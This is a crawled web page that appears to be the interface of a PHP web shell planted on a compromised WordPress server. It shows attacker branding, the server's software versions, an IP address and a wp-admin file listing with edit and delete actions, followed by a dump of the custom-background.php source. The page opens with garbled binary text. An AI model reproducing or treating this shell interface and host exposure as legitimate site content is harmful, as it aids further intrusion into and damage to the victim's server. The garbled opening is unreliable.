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tEs#678PI:e5n$i0ScudA F(ET lq{讬3 28xۆ1IPԲ v0r$0{[J*cyA 1OQ-3f5;׆!`;mV[g{*d$221VR8jk.aH)7c=BO>~ T77XӇʧ _NاVV:Gye)NKk Ǵ`ՏS=Wy\cu`}@8C2su XqC Պ̜xEU ڭ{$KόI@F؛NLOA$F[X2rĔG L\wE2J3S8IJ2e`A7),b +noĐ<{XA"Lj%W̮RI7=e0O {F 3t6ǽN7aNHmo!_5G/GGz`ǻwl${wzd2X,!a/@X{wh]S MARIJUANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux vps-ed8565de 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
  SOFT : Apache/2.4.65 (Debian) PHP : 7.4.33
/var/www/espace_prive/site/wp-admin/
51.178.36.14

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
css dir drwxr-xr-x 2022-04-19 07:53 R D
images dir drwxr-xr-x 2022-04-19 07:53 R D
includes dir drwxr-xr-x 2022-04-19 07:53 R D
js dir drwxr-xr-x 2022-04-19 07:53 R D
maint dir drwxr-xr-x 2022-04-19 07:53 R D
network dir drwxr-xr-x 2022-04-19 07:53 R D
user dir drwxr-xr-x 2022-04-19 07:53 R D
about.php 30.941 KB -rw-r--r-- 2022-04-19 07:53 R E G D
admin-ajax.php 4.237 KB -rw-r--r-- 2022-04-19 07:53 R E G D
admin-footer.php 2.547 KB -rw-r--r-- 2022-04-19 07:53 R E G D
admin-functions.php 0.396 KB -rw-r--r-- 2022-04-19 07:53 R E G D
admin-header.php 7.493 KB -rw-r--r-- 2022-04-19 07:53 R E G D
admin-post.php 1.646 KB -rw-r--r-- 2022-04-19 07:53 R E G D
admin.php 10.284 KB -rw-r--r-- 2022-04-19 07:53 R E G D
async-upload.php 3.483 KB -rw-r--r-- 2022-04-19 07:53 R E G D
comment.php 10.214 KB -rw-r--r-- 2022-04-19 07:53 R E G D
credits.php 4.78 KB -rw-r--r-- 2022-04-19 07:53 R E G D
custom-background.php 19.435 KB -rw-r--r-- 2022-04-19 07:53 R E G D
custom-header.php 45.31 KB -rw-r--r-- 2022-04-19 07:53 R E G D
customize.php 9.258 KB -rw-r--r-- 2022-04-19 07:53 R E G D
edit-comments.php 13.642 KB -rw-r--r-- 2022-04-19 07:53 R E G D
edit-form-advanced.php 26.868 KB -rw-r--r-- 2022-04-19 07:53 R E G D
edit-form-blocks.php 11.975 KB -rw-r--r-- 2022-04-19 07:53 R E G D
edit-form-comment.php 7.192 KB -rw-r--r-- 2022-04-19 07:53 R E G D
edit-link-form.php 5.898 KB -rw-r--r-- 2022-04-19 07:53 R E G D
edit-tag-form.php 9.082 KB -rw-r--r-- 2022-04-19 07:53 R E G D
edit-tags.php 20.013 KB -rw-r--r-- 2022-04-19 07:53 R E G D
edit.php 16.311 KB -rw-r--r-- 2022-04-19 07:53 R E G D
export.php 10.458 KB -rw-r--r-- 2022-04-19 07:53 R E G D
freedoms.php 4.946 KB -rw-r--r-- 2022-04-19 07:53 R E G D
import.php 7.025 KB -rw-r--r-- 2022-04-19 07:53 R E G D
index.php 6.009 KB -rw-r--r-- 2022-04-19 07:53 R E G D
install-helper.php 5.615 KB -rw-r--r-- 2022-04-19 07:53 R E G D
install.php 15.781 KB -rw-r--r-- 2022-04-19 07:53 R E G D
link-add.php 0.684 KB -rw-r--r-- 2022-04-19 07:53 R E G D
link-manager.php 3.832 KB -rw-r--r-- 2022-04-19 07:53 R E G D
link-parse-opml.php 2.345 KB -rw-r--r-- 2022-04-19 07:53 R E G D
link.php 2.563 KB -rw-r--r-- 2022-04-19 07:53 R E G D
load-scripts.php 1.574 KB -rw-r--r-- 2022-04-19 07:53 R E G D
load-styles.php 2.155 KB -rw-r--r-- 2022-04-19 07:53 R E G D
media-new.php 3.024 KB -rw-r--r-- 2022-04-19 07:53 R E G D
media-upload.php 3.265 KB -rw-r--r-- 2022-04-19 07:53 R E G D
media.php 5.142 KB -rw-r--r-- 2022-04-19 07:53 R E G D
menu-header.php 9.279 KB -rw-r--r-- 2022-04-19 07:53 R E G D
menu.php 13.35 KB -rw-r--r-- 2022-04-19 07:53 R E G D
moderation.php 0.313 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-admin.php 0.206 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-delete-site.php 3.903 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-edit.php 0.226 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-options.php 0.23 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-sites.php 0.223 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-themes.php 0.225 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-upgrade-network.php 0.227 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-users.php 0.223 KB -rw-r--r-- 2022-04-19 07:53 R E G D
my-sites.php 4.51 KB -rw-r--r-- 2022-04-19 07:53 R E G D
nav-menus.php 39.848 KB -rw-r--r-- 2022-04-19 07:53 R E G D
network.php 5.197 KB -rw-r--r-- 2022-04-19 07:53 R E G D
options-discussion.php 14.399 KB -rw-r--r-- 2022-04-19 07:53 R E G D
options-general.php 14.652 KB -rw-r--r-- 2022-04-19 07:53 R E G D
options-head.php 0.477 KB -rw-r--r-- 2022-04-19 07:53 R E G D
options-media.php 5.916 KB -rw-r--r-- 2022-04-19 07:53 R E G D
options-permalink.php 17.781 KB -rw-r--r-- 2022-04-19 07:53 R E G D
options-reading.php 8.157 KB -rw-r--r-- 2022-04-19 07:53 R E G D
options-writing.php 8.096 KB -rw-r--r-- 2022-04-19 07:53 R E G D
options.php 11.415 KB -rw-r--r-- 2022-04-19 07:53 R E G D
plugin-editor.php 12.717 KB -rw-r--r-- 2022-04-19 07:53 R E G D
plugin-install.php 6.07 KB -rw-r--r-- 2022-04-19 07:53 R E G D
plugins.php 22.235 KB -rw-r--r-- 2022-04-19 07:53 R E G D
post-new.php 2.635 KB -rw-r--r-- 2022-04-19 07:53 R E G D
post.php 8.423 KB -rw-r--r-- 2022-04-19 07:53 R E G D
press-this.php 2.252 KB -rw-r--r-- 2022-04-19 07:53 R E G D
privacy.php 7.736 KB -rw-r--r-- 2022-04-19 07:53 R E G D
profile.php 0.289 KB -rw-r--r-- 2022-04-19 07:53 R E G D
revision.php 4.921 KB -rw-r--r-- 2022-04-19 07:53 R E G D
setup-config.php 14.807 KB -rw-r--r-- 2022-04-19 07:53 R E G D
term.php 2.063 KB -rw-r--r-- 2022-04-19 07:53 R E G D
theme-editor.php 14.059 KB -rw-r--r-- 2022-04-19 07:53 R E G D
theme-install.php 14.571 KB -rw-r--r-- 2022-04-19 07:53 R E G D
themes.php 20.823 KB -rw-r--r-- 2022-04-19 07:53 R E G D
tools.php 2.521 KB -rw-r--r-- 2022-04-19 07:53 R E G D
update-core.php 30.485 KB -rw-r--r-- 2022-04-19 07:53 R E G D
update.php 9.995 KB -rw-r--r-- 2022-04-19 07:53 R E G D
upgrade-functions.php 0.332 KB -rw-r--r-- 2022-04-19 07:53 R E G D
upgrade.php 4.406 KB -rw-r--r-- 2022-04-19 07:53 R E G D
upload.php 12.915 KB -rw-r--r-- 2022-04-19 07:53 R E G D
user-edit.php 26.936 KB -rw-r--r-- 2022-04-19 07:53 R E G D
user-new.php 21.184 KB -rw-r--r-- 2022-04-19 07:53 R E G D
users.php 17.904 KB -rw-r--r-- 2022-04-19 07:53 R E G D
widgets.php 18.043 KB -rw-r--r-- 2022-04-19 07:53 R E G D
REQUEST EXIT
©TheAlmightyZeus
admin_header_callback = $admin_header_callback; $this->admin_image_div_callback = $admin_image_div_callback; add_action( 'admin_menu', array( $this, 'init' ) ); add_action( 'wp_ajax_custom-background-add', array( $this, 'ajax_background_add' ) ); // Unused since 3.5.0. add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) ); } /** * Set up the hooks for the Custom Background admin page. * * @since 3.0.0 */ public function init() { $page = add_theme_page( __( 'Background' ), __( 'Background' ), 'edit_theme_options', 'custom-background', array( $this, 'admin_page' ) ); if ( ! $page ) { return; } add_action( "load-$page", array( $this, 'admin_load' ) ); add_action( "load-$page", array( $this, 'take_action' ), 49 ); add_action( "load-$page", array( $this, 'handle_upload' ), 49 ); if ( $this->admin_header_callback ) { add_action( "admin_head-$page", $this->admin_header_callback, 51 ); } } /** * Set up the enqueue for the CSS & JavaScript files. * * @since 3.0.0 */ public function admin_load() { get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __('Overview'), 'content' => '

' . __( 'You can customize the look of your site without touching any of your theme’s code by using a custom background. Your background can be an image or a color.' ) . '

' . '

' . __( 'To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the “Choose Image” button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site.' ) . '

' . '

' . __( 'You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. “#ff0000” for red, or by choosing a color using the color picker.' ) . '

' . '

' . __( 'Don’t forget to click on the Save Changes button when you are finished.' ) . '

' ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Custom Background' ) . '

' . '

' . __( 'Support Forums' ) . '

' ); wp_enqueue_media(); wp_enqueue_script('custom-background'); wp_enqueue_style('wp-color-picker'); } /** * Execute custom background modification. * * @since 3.0.0 */ public function take_action() { if ( empty($_POST) ) return; if ( isset($_POST['reset-background']) ) { check_admin_referer('custom-background-reset', '_wpnonce-custom-background-reset'); remove_theme_mod('background_image'); remove_theme_mod('background_image_thumb'); $this->updated = true; return; } if ( isset($_POST['remove-background']) ) { // @TODO: Uploaded files are not removed here. check_admin_referer('custom-background-remove', '_wpnonce-custom-background-remove'); set_theme_mod('background_image', ''); set_theme_mod('background_image_thumb', ''); $this->updated = true; wp_safe_redirect( $_POST['_wp_http_referer'] ); return; } if ( isset( $_POST['background-preset'] ) ) { check_admin_referer( 'custom-background' ); if ( in_array( $_POST['background-preset'], array( 'default', 'fill', 'fit', 'repeat', 'custom' ), true ) ) { $preset = $_POST['background-preset']; } else { $preset = 'default'; } set_theme_mod( 'background_preset', $preset ); } if ( isset( $_POST['background-position'] ) ) { check_admin_referer( 'custom-background' ); $position = explode( ' ', $_POST['background-position'] ); if ( in_array( $position[0], array( 'left', 'center', 'right' ), true ) ) { $position_x = $position[0]; } else { $position_x = 'left'; } if ( in_array( $position[1], array( 'top', 'center', 'bottom' ), true ) ) { $position_y = $position[1]; } else { $position_y = 'top'; } set_theme_mod( 'background_position_x', $position_x ); set_theme_mod( 'background_position_y', $position_y ); } if ( isset( $_POST['background-size'] ) ) { check_admin_referer( 'custom-background' ); if ( in_array( $_POST['background-size'], array( 'auto', 'contain', 'cover' ), true ) ) { $size = $_POST['background-size']; } else { $size = 'auto'; } set_theme_mod( 'background_size', $size ); } if ( isset( $_POST['background-repeat'] ) ) { check_admin_referer( 'custom-background' ); $repeat = $_POST['background-repeat']; if ( 'no-repeat' !== $repeat ) { $repeat = 'repeat'; } set_theme_mod( 'background_repeat', $repeat ); } if ( isset( $_POST['background-attachment'] ) ) { check_admin_referer( 'custom-background' ); $attachment = $_POST['background-attachment']; if ( 'fixed' !== $attachment ) { $attachment = 'scroll'; } set_theme_mod( 'background_attachment', $attachment ); } if ( isset($_POST['background-color']) ) { check_admin_referer('custom-background'); $color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['background-color']); if ( strlen($color) == 6 || strlen($color) == 3 ) set_theme_mod('background_color', $color); else set_theme_mod('background_color', ''); } $this->updated = true; } /** * Display the custom background page. * * @since 3.0.0 */ public function admin_page() { ?>

Customizer.' ), admin_url( 'customize.php?autofocus[control]=background_image' ) ); ?>

updated ) ) { ?>

Visit your site to see how it looks.' ), home_url( '/' ) ); ?>

admin_image_div_callback ) { call_user_func( $this->admin_image_div_callback ); } else { $background_styles = ''; if ( $bgcolor = get_background_color() ) $background_styles .= 'background-color: #' . $bgcolor . ';'; $background_image_thumb = get_background_image(); if ( $background_image_thumb ) { $background_image_thumb = esc_url( set_url_scheme( get_theme_mod( 'background_image_thumb', str_replace( '%', '%%', $background_image_thumb ) ) ) ); $background_position_x = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ); $background_position_y = get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) ); $background_size = get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ); $background_repeat = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ); $background_attachment = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) ); // Background-image URL must be single quote, see below. $background_styles .= " background-image: url('$background_image_thumb');" . " background-size: $background_size;" . " background-position: $background_position_x $background_position_y;" . " background-repeat: $background_repeat;" . " background-attachment: $background_attachment;"; } ?>





array( 'label' => __( 'Top Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ), 'center top' => array( 'label' => __( 'Top' ), 'icon' => 'dashicons dashicons-arrow-up-alt' ), 'right top' => array( 'label' => __( 'Top Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ), ), array( 'left center' => array( 'label' => __( 'Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ), 'center center' => array( 'label' => __( 'Center' ), 'icon' => 'background-position-center-icon' ), 'right center' => array( 'label' => __( 'Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ), ), array( 'left bottom' => array( 'label' => __( 'Bottom Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ), 'center bottom' => array( 'label' => __( 'Bottom' ), 'icon' => 'dashicons dashicons-arrow-down-alt' ), 'right bottom' => array( 'label' => __( 'Bottom Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ), ), ); ?>
$input ) : ?>
>
false); $uploaded_file = $_FILES['import']; $wp_filetype = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] ); if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) ); $file = wp_handle_upload($uploaded_file, $overrides); if ( isset($file['error']) ) wp_die( $file['error'] ); $url = $file['url']; $type = $file['type']; $file = $file['file']; $filename = basename($file); // Construct the object array $object = array( 'post_title' => $filename, 'post_content' => $url, 'post_mime_type' => $type, 'guid' => $url, 'context' => 'custom-background' ); // Save the data $id = wp_insert_attachment($object, $file); // Add the meta-data wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); update_post_meta( $id, '_wp_attachment_is_custom_background', get_option('stylesheet' ) ); set_theme_mod('background_image', esc_url_raw($url)); $thumbnail = wp_get_attachment_image_src( $id, 'thumbnail' ); set_theme_mod('background_image_thumb', esc_url_raw( $thumbnail[0] ) ); /** This action is documented in wp-admin/custom-header.php */ do_action( 'wp_create_file_in_uploads', $file, $id ); // For replication $this->updated = true; } /** * Ajax handler for adding custom background context to an attachment. * * Triggered when the user adds a new background image from the * Media Manager. * * @since 4.1.0 */ public function ajax_background_add() { check_ajax_referer( 'background-add', 'nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_send_json_error(); } $attachment_id = absint( $_POST['attachment_id'] ); if ( $attachment_id < 1 ) { wp_send_json_error(); } update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_stylesheet() ); wp_send_json_success(); } /** * * @since 3.4.0 * @deprecated 3.5.0 * * @param array $form_fields * @return array $form_fields */ public function attachment_fields_to_edit( $form_fields ) { return $form_fields; } /** * * @since 3.4.0 * @deprecated 3.5.0 * * @param array $tabs * @return array $tabs */ public function filter_upload_tabs( $tabs ) { return $tabs; } /** * * @since 3.4.0 * @deprecated 3.5.0 */ public function wp_set_background_image() { if ( ! current_user_can('edit_theme_options') || ! isset( $_POST['attachment_id'] ) ) exit; $attachment_id = absint($_POST['attachment_id']); /** This filter is documented in wp-admin/includes/media.php */ $sizes = array_keys(apply_filters( 'image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size')) )); $size = 'thumbnail'; if ( in_array( $_POST['size'], $sizes ) ) $size = esc_attr( $_POST['size'] ); update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_option('stylesheet' ) ); $url = wp_get_attachment_image_src( $attachment_id, $size ); $thumbnail = wp_get_attachment_image_src( $attachment_id, 'thumbnail' ); set_theme_mod( 'background_image', esc_url_raw( $url[0] ) ); set_theme_mod( 'background_image_thumb', esc_url_raw( $thumbnail[0] ) ); exit; } }